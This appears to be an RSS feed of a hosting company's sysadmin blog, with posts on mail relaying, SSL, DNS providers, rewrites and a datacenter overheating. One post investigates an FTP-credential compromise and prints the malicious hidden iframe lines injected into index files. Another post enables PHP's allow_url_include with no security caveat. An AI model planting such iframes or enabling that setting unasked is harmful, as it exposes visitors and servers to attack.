<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Linux System Admins Blog &#187; hosting</title>
	<atom:link href="http://linuxsysadminblog.com/category/hosting/feed/" rel="self" type="application/rss+xml" />
	<link>http://linuxsysadminblog.com</link>
	<description>System admins of Promet - an e-commerce, high availability Open Source web shop - share their findings</description>
	<lastBuildDate>Sat, 10 Jul 2010 01:33:47 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Mail Relay Issue on Cpanel Server</title>
		<link>http://linuxsysadminblog.com/2010/02/mail-relay-issue-on-cpanel-server/</link>
		<comments>http://linuxsysadminblog.com/2010/02/mail-relay-issue-on-cpanel-server/#comments</comments>
		<pubDate>Tue, 16 Feb 2010 14:05:00 +0000</pubDate>
		<dc:creator>gerold</dc:creator>
				<category><![CDATA[Centos]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[exim]]></category>
		<category><![CDATA[relayers]]></category>

		<guid isPermaLink="false">http://linuxsysadminblog.com/?p=1050</guid>
		<description><![CDATA[I noticed lots of email being relayed on one of our shared hosting server, CentOS5 with Cpanel and running Exim, and the strange thing is that the email server (MX) for these accounts are pointing to Google (GoogleApps), and we have correct entries for localdomains and remotedomains for these account.  The relayers (&#8216;From&#8217; server/address) [...]]]></description>
			<content:encoded><![CDATA[<p>I noticed lots of email being relayed on one of our shared hosting server, CentOS5 with Cpanel and running Exim, and the strange thing is that the email server (MX) for these accounts are pointing to Google (GoogleApps), and we have correct entries for <em>localdomains</em> and <em>remotedomains</em> for these account.  The relayers (<em>&#8216;From&#8217;</em> server/address) looks like spam anyway.  From the mail logs I noticed that the relayed messages have &#8216;<em>fixed_login</em>&#8216; and key (&#8216;<em>rsa-sha1</em>&#8216;) for their authentications.</p>
<p>Since the mail server for these accounts are pointing to other servers, I deleted all the email accounts, forwarders, mailinglists, etc.  After this I&#8217;ve seen sending error/failure messages from mail logs of the said accounts  It shows &#8216;<em>fixed_login authenticator failed for hostxx&#8217; [535 Incorrect authentication data]</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxsysadminblog.com/2010/02/mail-relay-issue-on-cpanel-server/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Apache Now Supports Multiple SSL on Single IP Address</title>
		<link>http://linuxsysadminblog.com/2009/11/apache-now-supports-multiple-ssl-on-single-ip-address/</link>
		<comments>http://linuxsysadminblog.com/2009/11/apache-now-supports-multiple-ssl-on-single-ip-address/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 06:08:23 +0000</pubDate>
		<dc:creator>gerold</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[ssl]]></category>

		<guid isPermaLink="false">http://linuxsysadminblog.com/?p=999</guid>
		<description><![CDATA[With the release of Apache 2.2.12, we can now configure multiple SSL sites in one IP address.  It is available of you have Server Name Indication (SNI) extension for OpenSSL.  Visit TechRepublic&#8217;s post on &#8220;Configure Apache to support multiple SSL sites on a single IP address&#8221; for details and vhost sample configuration.  [...]]]></description>
			<content:encoded><![CDATA[<p>With the release of Apache 2.2.12, we can now configure multiple SSL sites in one IP address.  It is available of you have Server Name Indication (SNI) extension for OpenSSL.  Visit TechRepublic&#8217;s post on &#8220;<a href="http://blogs.techrepublic.com.com/opensource/?p=987">Configure Apache to support multiple SSL sites on a single IP address</a>&#8221; for details and vhost sample configuration.  And for complete reference please refer to this page &#8220;<a href="http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI">SSL with Virtual Hosts Using SNI</a>&#8221; and <a href="http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslstrictsnivhostcheck">Apache mod_ssl documentation</a>.</p>
<p>We&#8217;ll try this on our server and hopefully offer this to our shared hosting clients who wants SSL but not interested in paying extra for a dedicated ip address.  <img src='http://linuxsysadminblog.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://linuxsysadminblog.com/2009/11/apache-now-supports-multiple-ssl-on-single-ip-address/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Managed DNS services showdown</title>
		<link>http://linuxsysadminblog.com/2009/10/managed-dns-services-showdown/</link>
		<comments>http://linuxsysadminblog.com/2009/10/managed-dns-services-showdown/#comments</comments>
		<pubDate>Mon, 19 Oct 2009 20:37:09 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[hosting]]></category>

		<guid isPermaLink="false">http://linuxsysadminblog.com/?p=902</guid>
		<description><![CDATA[A time comes when it makes more business sense to outsource DNS. While one can use a domain registrars to manage and host dns they do not always offer best performance or even offer SLA&#8217;s. We will compare a couple of companies that specialize at DNS hosting only.
DynDNS
- comprehensive services offerings
- no downtimes since inception [...]]]></description>
			<content:encoded><![CDATA[<p>A time comes when it makes more business sense to outsource DNS. While one can use a domain registrars to manage and host dns they do not always offer best performance or even offer SLA&#8217;s. We will compare a couple of companies that specialize at DNS hosting only.</p>
<p><a href="http://www.dyndns.com/">DynDNS</a><br />
- comprehensive services offerings<br />
- no downtimes since inception (2001)<br />
- worldwide DNS cluster<br />
- multiplatform dynamic update clients with excellent documentation<br />
- 29.95 per zone per year<br />
- web interface<br />
- SLA offerings options<br />
- Bind based architecture</p>
<p><a href="http://www.easydns.com/">easyDNS</a><br />
- unknown reliability<br />
- worldwide DNS cluster<br />
- multiplatform dynamic update clients<br />
- priced at $19.99 per zone per year<br />
- web interface<br />
- no SLA offering<br />
- Bind based architecture</p>
<p><a href="http://www.nettica.com/">Nettica</a><br />
- unknown reliability<br />
- mostly US based DNS cluster (1 location in UK)<br />
- priced at $10 per zone per year<br />
- 100$ SLA offering<br />
- no linux update client, however dynamic ip updates can be done with curl call to their website<br />
- web interface<br />
- windows only API&#8217;s</p>
<p><a href="http://zoneedit.com/">Zoneedit</a><br />
- Pioneer of hosted DNS<br />
- Bad recent reliability<br />
- Bind based architecture<br />
- mostly US based DNS cluster (1 location in Germany)<br />
- multiplatform dynamic update clients<br />
- wide range of dynamic update clients (java, python, perl, direct calls to their website with wget), clients hosted on sourceforge with limited documentation<br />
- host 5 domains for free, limited to 200meg query limit per domain(approx 1 million queries), additional options cost &#8220;zone credits @ $10.95 each&#8221; for services like additional domains, load balancing, monitoring, additional queries.</p>
<p><a href="http://www.ultradns.com">UltraDNS</a><br />
- Very comprehensive list of offerings<br />
- 15 worldwide nodes on 5 continents<br />
- Protection against DNS based DDOS<br />
- cross platform XML based API<br />
- web portal<br />
- 100% uptime SLA<br />
- directory based architecture, using Oracle database replication technology. Not based on BIND<br />
- $15 per month for 1 domain with 5 records and 5000 queries, overage costs are $1 per 1000 queries and 0.50 cents for per additional record.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxsysadminblog.com/2009/10/managed-dns-services-showdown/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Iframe injection attack investigation</title>
		<link>http://linuxsysadminblog.com/2009/09/iframe-injection-attack-investigation/</link>
		<comments>http://linuxsysadminblog.com/2009/09/iframe-injection-attack-investigation/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 20:17:56 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hosting]]></category>

		<guid isPermaLink="false">http://linuxsysadminblog.com/?p=874</guid>
		<description><![CDATA[The whole hidden IFRAME vulnerability has been going on for some time, only a few of our client have been effected by this. The net is still buzzing with this issue and while some are saying that the injection are results of php insecurities, mysql injection or cross site scripting, while others point to key [...]]]></description>
			<content:encoded><![CDATA[<p>The whole hidden IFRAME vulnerability has been going on for some time, only a few of our client have been effected by this. The net is still buzzing with this issue and while some are saying that the injection are results of php insecurities, mysql injection or cross site scripting, while others point to key loggers and hijacked ftp credentials. In our case the exploit was not due to an application vulnerability but rather to hijacked ftp login information. Brute force password guessing attacks were not performed on this account nor any other accounts on the same server. In this particular type of attack, at the very end of index.php/index.html an IFRAME statement was appended overwriting page closing tags.</p>
<p><span id="more-874"></span><code>iframe src="http://***.ru:8080/index.php" width=111 height=162 style="visibi<br />
iframe src="http://***.ru:8080/index.php" width=136 height=162 style="visibility: hidden" /iframe<br />
iframe src="http://***.ru:8080/index.php" width=141 height=156 style="visibility: hidden" /iframe</code></p>
<p>Some of the index.php files had multiple IFRAME statements appended to the end. Knowing the username of affected account and affected filename I searched in /var/log/messages for any related entries and hit jackpot:</p>
<p><code>Aug 27 01:27:59 web152 pure-ftpd: (?@94.218.69.243) [INFO] user is now logged in<br />
Aug 27 01:28:00 web152 pure-ftpd: (user@94.218.69.243) [NOTICE] /home/user//public_html/index.php downloaded  (2311 bytes, 1001.70KB/sec)<br />
Aug 27 01:28:00 web152 pure-ftpd: (user@94.218.69.243) [INFO] Logout.<br />
Aug 27 01:28:04 web152 pure-ftpd: (?@78.92.144.185) [INFO] user is now logged in<br />
Aug 27 01:28:05 web152 pure-ftpd: (user@78.92.144.185) [NOTICE] /home/user//public_html/index.php uploaded  (2353 bytes, 10.42KB/sec)<br />
Aug 27 01:28:05 web152 pure-ftpd: (user@78.92.144.185) [INFO] Logout.</code></p>
<p>What&#8217;s interesting to note here is that even though downloading/uploading of index.php happens within a 6 second window, the source ip address for download and upload are not the same. During the next few days the same file is downloaded and uploaded but never from the same set of ip addresses. During the few days that I was allowing this to happen as I was monitoring said activity and collecting the IP addresses to see if a pattern emerges:</p>
<p><code>83.82.57.39 GeoIP Country Edition: NL, Netherlands<br />
95.52.163.74 GeoIP Country Edition: RU, Russian Federation<br />
189.122.164.40 GeoIP Country Edition: BR, Brazil<br />
69.159.47.21 GeoIP Country Edition: CA, Canada<br />
85.221.184.164 GeoIP Country Edition: PL, Poland<br />
98.243.198.220 GeoIP Country Edition: US, United States<br />
78.30.154.22 GeoIP Country Edition: RS, Serbia<br />
77.81.33.229 GeoIP Country Edition: RO, Romania<br />
83.6.73.91 GeoIP Country Edition: PL, Poland<br />
190.198.3.27 GeoIP Country Edition: VE, Venezuela<br />
75.208.130.92 GeoIP Country Edition: US, United States<br />
68.84.202.157 GeoIP Country Edition: US, United States<br />
75.80.81.104 GeoIP Country Edition: US, United States</code></p>
<p>Seeing that no clear pattern is evident here and considering that the IP address was different for each connection it is my rationale that the computer&#8217;s at these IP addresses were a part of a botnet. My assumption is that a developer had saved the account password and was infected by malicious software which was able to gather the ftp credentials.</p>
<p>Cleanup included restoring files and changing all account/ftp/email and database passwords.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxsysadminblog.com/2009/09/iframe-injection-attack-investigation/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>enabling allow_url_include locally in cPanel</title>
		<link>http://linuxsysadminblog.com/2009/07/enabling-allow_url_include-locally-in-cpanel/</link>
		<comments>http://linuxsysadminblog.com/2009/07/enabling-allow_url_include-locally-in-cpanel/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 17:44:44 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[cpanel]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://linuxsysadminblog.com/?p=803</guid>
		<description><![CDATA[When using cPanel the way to enable allow_url_include directive locally (per user) is to create an Virtual Host include:
First create an include file:
/usr/local/apache/conf/userdata/std/2/username/domain.com/custom.conf
Add directive to custom.conf:

php_admin_flag allow_url_include On

Then run to enable include:
/scripts/ensure_vhost_includes --user=username --verbose
Alternatively, enabling allow_url_include globally (server-wide) is done by editing /usr/local/lib/php.ini and adding  &#8220;allow_url_include = On&#8221; directive to the Fopen wrapper section.
;;;;;;;;;;;;;;;;;;
; [...]]]></description>
			<content:encoded><![CDATA[<p>When using cPanel the way to enable allow_url_include directive locally (per user) is to create an <strong>Virtual Host include</strong>:</p>
<p>First create an include file:<br />
<code>/usr/local/apache/conf/userdata/std/2/username/domain.com/custom.conf</code></p>
<p>Add directive to custom.conf:<br />
<code><IfModule mod_php5.c><br />
php_admin_flag allow_url_include On<br />
</Ifmodule></code></p>
<p>Then run to enable include:<br />
<code>/scripts/ensure_vhost_includes --user=username --verbose</code></p>
<p>Alternatively, enabling allow_url_include globally (server-wide) is done by editing /usr/local/lib/php.ini and adding  &#8220;allow_url_include = On&#8221; directive to the Fopen wrapper section.<br />
<code>;;;;;;;;;;;;;;;;;;<br />
; Fopen wrappers ;<br />
;;;;;;;;;;;;;;;;;;</code>                                                                                                                                           </p>
<p><code>;Whether to allow the treatment of URLs (like http:// or ftp://) as files.<br />
allow_url_fopen = On<br />
<strong>allow_url_include = On</strong></code></p>
<p>and restarting apache by issuing &#8220;service httpd restart&#8221; command as root.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxsysadminblog.com/2009/07/enabling-allow_url_include-locally-in-cpanel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>nginx rewrite to index</title>
		<link>http://linuxsysadminblog.com/2009/05/nginx-rewrite-to-index/</link>
		<comments>http://linuxsysadminblog.com/2009/05/nginx-rewrite-to-index/#comments</comments>
		<pubDate>Thu, 28 May 2009 00:25:06 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[hosting]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[rewrite]]></category>

		<guid isPermaLink="false">http://linuxsysadminblog.com/?p=704</guid>
		<description><![CDATA[Looking to rewrite all file requests to index?
 location / {
root /var/www/nginx-default;
index index.html;
if (!-e $request_filename) {
rewrite . /index.html last;
}
}

]]></description>
			<content:encoded><![CDATA[<p>Looking to rewrite all file requests to index?</p>
<p><code> location / {<br />
root /var/www/nginx-default;<br />
index index.html;<br />
if (!-e $request_filename) {<br />
rewrite . /index.html last;<br />
}<br />
}<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://linuxsysadminblog.com/2009/05/nginx-rewrite-to-index/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>umask &#8216;ing apache under cPanel</title>
		<link>http://linuxsysadminblog.com/2009/05/umask-ing-apache-under-cpanel/</link>
		<comments>http://linuxsysadminblog.com/2009/05/umask-ing-apache-under-cpanel/#comments</comments>
		<pubDate>Thu, 14 May 2009 23:17:02 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[umask]]></category>

		<guid isPermaLink="false">http://linuxsysadminblog.com/?p=644</guid>
		<description><![CDATA[Ran into an issue today where a php created file was unreadable by other users or services that run under a different user.  Since this is a software originated issue the sysadmin would love for the developer to change the code to include the chmod() php function  to set permission to 644 after [...]]]></description>
			<content:encoded><![CDATA[<p>Ran into an issue today where a php created file was unreadable by other users or services that run under a different user.  Since this is a software originated issue the sysadmin would love for the developer to change the code to include the <a href="http://us2.php.net/chmod">chmod() php function</a>  to set permission to 644 after file creation.  On the flip side when a developer sees &#8220;permission&#8221; they automatically assume it&#8217;s OS related and want the sysadmin to resolve the issue. <span id="more-644"></span></p>
<p>This time I let the developer slide and implemented a fix on system end by appending <code lang="apache">umask 022</code> into /usr/local/apache/bin/envvars file and restarting apache. This will apply a umask of 022 to the default permission of 666 for newly created files. The result is that anytime apache creates a file be it via php or another way it will always have 644 permissions and will be world readable.<br />
But wait the fun doesn&#8217;t end there as we are running cPanel on this particular server and this env change will be lost next time Apache is rebuilt via <a href="http://www.cpanel.net/documentation/easyapache/ea3custom_modvar.html">EasyApache</a>. To make this change persistent create a file called umask with the digits 022 as contents in /var/cpanel/easy/apache/rawenv/</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxsysadminblog.com/2009/05/umask-ing-apache-under-cpanel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hawaii comes to our datecenter.</title>
		<link>http://linuxsysadminblog.com/2009/04/hawaii-comes-to-our-datecenter/</link>
		<comments>http://linuxsysadminblog.com/2009/04/hawaii-comes-to-our-datecenter/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 02:26:41 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[hosting]]></category>
		<category><![CDATA[monitoring]]></category>

		<guid isPermaLink="false">http://linuxsysadminblog.com/?p=538</guid>
		<description><![CDATA[Aside from missing coconut trees and hula girls distinguishing our data center from Hawaii was pretty tough this afternoon. It was HOT, so hot in fact that I was sweating while sitting in just a cotton tee-shirt. I kept drifting away into a daydream where that failed 20 ton Liebert A/C unit was running. Soon [...]]]></description>
			<content:encoded><![CDATA[<p>Aside from missing coconut trees and hula girls distinguishing our data center from Hawaii was pretty tough this afternoon. It was HOT, so hot in fact that I was sweating while sitting in just a cotton tee-shirt. I kept drifting away into a daydream where that failed 20 ton Liebert A/C unit was running. Soon however reality set in&#8230; the a/c wasn&#8217;t running, our 42U cabinet packed with 35U worth of server, switch and router gear was overheating and a slave Mysql database server wasn&#8217;t having this all this heat! The poor thing turned itself off  and after 5 hour cool down time I still get error: 1610 Temperature violation detected</p>
<p><a href="http://linuxsysadminblog.com/wp-content/uploads/2009/04/toohot.jpg"><img class="size-full wp-image-540 alignnone" title="1610 temparature violation" src="http://linuxsysadminblog.com/wp-content/uploads/2009/04/toohot.jpg" alt="1610 temparature violation" width="336" height="336" /></a></p>
<p><span id="more-538"></span></p>
<p>While promises of having the A/C unit up and running soon were being thrown at me I wasn&#8217;t biting. Shutting down 3 non-essential servers did help things a bit.  The database servers with their 15K rpm disks were running their internal fans at nearly 100% coping with the heat. At this point I was starting to feel a little bit upbeat picturing what would happen if the servers were not servers and just consumer grade PC&#8217;s turned into servers. If you are reading this you must know what burned power supplies smell like! At some point I knew the A/C unit would be fixed and I would be able to re-power up the non-essential servers. Monitoring temperatures inside the cabinet would be nice, but we don&#8217;t have such a <a href="http://www.pcmeasure.com/sensors.php">useful device</a>. Next best thing was internal temperature sensors inside a direct attach storage array which has 6 sensors: 4 in the front and 2 in back. <a href="http://www.cacti.net/">Cacti</a> proved invaluable as I could monitor what was going on and most importantly see if the datacenter made good on their promise. Each raise in temperature indicates a period when the A/C was not working or working poorly.</p>
<div id="attachment_543" class="wp-caption alignnone" style="width: 638px"><a rel="attachment wp-att-543" href="http://linuxsysadminblog.com/2009/04/hawaii-comes-to-our-datecenter/array_temps/"><img class="size-full wp-image-543" title="array_temps" src="http://linuxsysadminblog.com/wp-content/uploads/2009/04/array_temps.png" alt="temp_graph" width="628" height="289" /></a><p class="wp-caption-text">temp_graph</p></div>
]]></content:encoded>
			<wfw:commentRss>http://linuxsysadminblog.com/2009/04/hawaii-comes-to-our-datecenter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Force url to use SSL/https</title>
		<link>http://linuxsysadminblog.com/2009/03/htaccessmod_rewrite-force-url-to-use-sslhttps/</link>
		<comments>http://linuxsysadminblog.com/2009/03/htaccessmod_rewrite-force-url-to-use-sslhttps/#comments</comments>
		<pubDate>Tue, 10 Mar 2009 04:55:43 +0000</pubDate>
		<dc:creator>gerold</dc:creator>
				<category><![CDATA[hosting]]></category>
		<category><![CDATA[htaccess]]></category>

		<guid isPermaLink="false">http://linuxsysadminblog.com/?p=405</guid>
		<description><![CDATA[In some cases you would want to have your site use SSL (https://) at all times you can do this by using:
1.)  Using Htaccess/mod_rewrite. You only need to create a .htaccess file on your home directory and add the codes below:

&#60;IfModule mod_rewrite.c&#62;
RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule ^/(.*) https://%{SERVER_NAME}/$1 [R,L]
&#60;/IfModule&#62;

The above codes may not work on [...]]]></description>
			<content:encoded><![CDATA[<p>In some cases you would want to have your site use SSL (https://) at all times you can do this by using:</p>
<p><strong>1.)  Using Htaccess/mod_rewrite. </strong>You only need to create a <em>.htaccess</em> file on your home directory and add the codes below:<br />
<code><br />
&lt;IfModule mod_rewrite.c&gt;<br />
RewriteEngine On<br />
RewriteCond %{HTTPS} !=on<br />
RewriteRule ^/(.*) https://%{SERVER_NAME}/$1 [R,L]<br />
&lt;/IfModule&gt;<br />
</code></p>
<p>The above codes may not work on other Apache/php setup but i&#8217;m not sure what&#8217;s the exact configuration variable for that.  </p>
<p>Anyway, here are my alternatives.  Either of them is fine if you&#8217;re running http and https on standard ports (http=80, https=443), otherwise change the value to your custom http or https port.  Change <em>domain.com</em> to your domain.<br />
<code><br />
&lt;IfModule mod_rewrite.c&gt;<br />
RewriteEngine On<br />
RewriteCond %{SERVER_PORT} ^<strong>80</strong>$<br />
RewriteRule ^(.*)$ https://<strong>domain.tld</strong>/$1 [R,L]<br />
&lt;/IfModule&gt;<br />
</code><code><br />
&lt;IfModule mod_rewrite.c&gt;<br />
RewriteEngine On<br />
RewriteCond %{SERVER_PORT} !^443$<br />
RewriteRule ^(.*)$ https://<strong>domain.tld</strong>/$1 [L,R]<br />
&lt;/IfModule&gt;<br />
</code></p>
<p><strong>2.) PHP function. </strong>If your site use PHP you can redirect the url to SSL/https using this function:<br />
<code>&lt;?php<br />
function ForceHTTPS(){<br />
if( $_SERVER['HTTPS'] != </code><code>"on")   {<br />
//if( $_SERVER['SERVER_PORT'] == 80 )   {  <em><strong>&lt;&lt;-- use this line if the above will not work.</strong></em></code><code><br />
$new_url = "https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];<br />
header(</code><code>"</code><code>Location: $new_url</code><code>"</code><code>);<br />
exit; }<br />
}<br />
?&gt;</code></p>
<p>If you are using an application/script wherein you can enter the settings for site url (either from database or config file), it is better to use that settings.</p>
<p>Let me know if you run into issues, maybe i can help.  <img src='http://linuxsysadminblog.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://linuxsysadminblog.com/2009/03/htaccessmod_rewrite-force-url-to-use-sslhttps/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Apache Solr drupal integration</title>
		<link>http://linuxsysadminblog.com/2009/03/apache-solr-drupal-integration/</link>
		<comments>http://linuxsysadminblog.com/2009/03/apache-solr-drupal-integration/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 17:25:15 +0000</pubDate>
		<dc:creator>andrew</dc:creator>
				<category><![CDATA[drupal]]></category>
		<category><![CDATA[hosting]]></category>

		<guid isPermaLink="false">http://linuxsysadminblog.com/?p=395</guid>
		<description><![CDATA[I am at Drupal Conference attending the Acquia Apache Solr presentation. This integration has a lot of promise in my opinion.  The drupal search is not that useful, we&#8217;ve actually replaced drupal search on our implementations with google custom search.
Apache Solr is an open source project:
Solr is an open source enterprise search server based on [...]]]></description>
			<content:encoded><![CDATA[<p>I am at Drupal Conference attending the Acquia Apache Solr presentation. This integration has a lot of promise in my opinion.  The drupal search is not that useful, we&#8217;ve actually replaced drupal search on our implementations with google custom search.</p>
<p><a href="http://lucene.apache.org/solr/">Apache Solr</a> is an open source project:</p>
<blockquote><p>Solr is an open source enterprise search server based on the         <a href="http://lucene.apache.org/java/">Lucene Java</a> search library, with XML/HTTP and JSON APIs,         hit highlighting, faceted search, caching, replication, a web administration interface and many more features.         It runs in a Java servlet container such as <a href="http://tomcat.apache.org/">Tomcat</a>.</p></blockquote>
<p>Apache Solr has a lot of promise improving the search results which, considering the down sides of drupal search, would greatly improve the user experience.</p>
<p>Acquia has the Apache Solr search service in beta right now and it will be offered as a hosted offering.</p>
<p>We saw a preview of the www.drupal.org site redesign and it definitely looks like they will be using the Apache Solr.   The demo of the search results page looked very promising, with features such as search suggest, filter and more features to come.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxsysadminblog.com/2009/03/apache-solr-drupal-integration/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
